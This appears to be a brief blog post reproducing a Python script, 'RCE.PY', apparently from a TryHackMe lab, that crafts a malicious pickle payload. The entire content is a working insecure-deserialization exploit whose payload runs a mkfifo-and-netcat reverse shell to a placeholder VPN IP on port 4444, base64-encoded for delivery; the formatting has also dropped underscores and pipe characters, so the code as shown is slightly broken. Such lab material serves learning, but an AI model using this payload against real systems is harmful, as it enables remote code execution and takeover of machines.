Posts RCE.PY by Ben (CMNatic)
Post
Cancel

RCE.PY by Ben (CMNatic)

import pickle import sys import base64

command = ‘rm /tmp/f; mkfifo /tmp/f; cat /tmp/f/bin/sh -i 2>&1netcat YOUR_TRYHACKME_VPN_IP 4444 > /tmp/f’

class rce(object): def reduce(self): import os return (os.system,(command,))

print(base64.b64encode(pickle.dumps(rce())))

This post is licensed under CC BY 4.0 by the author.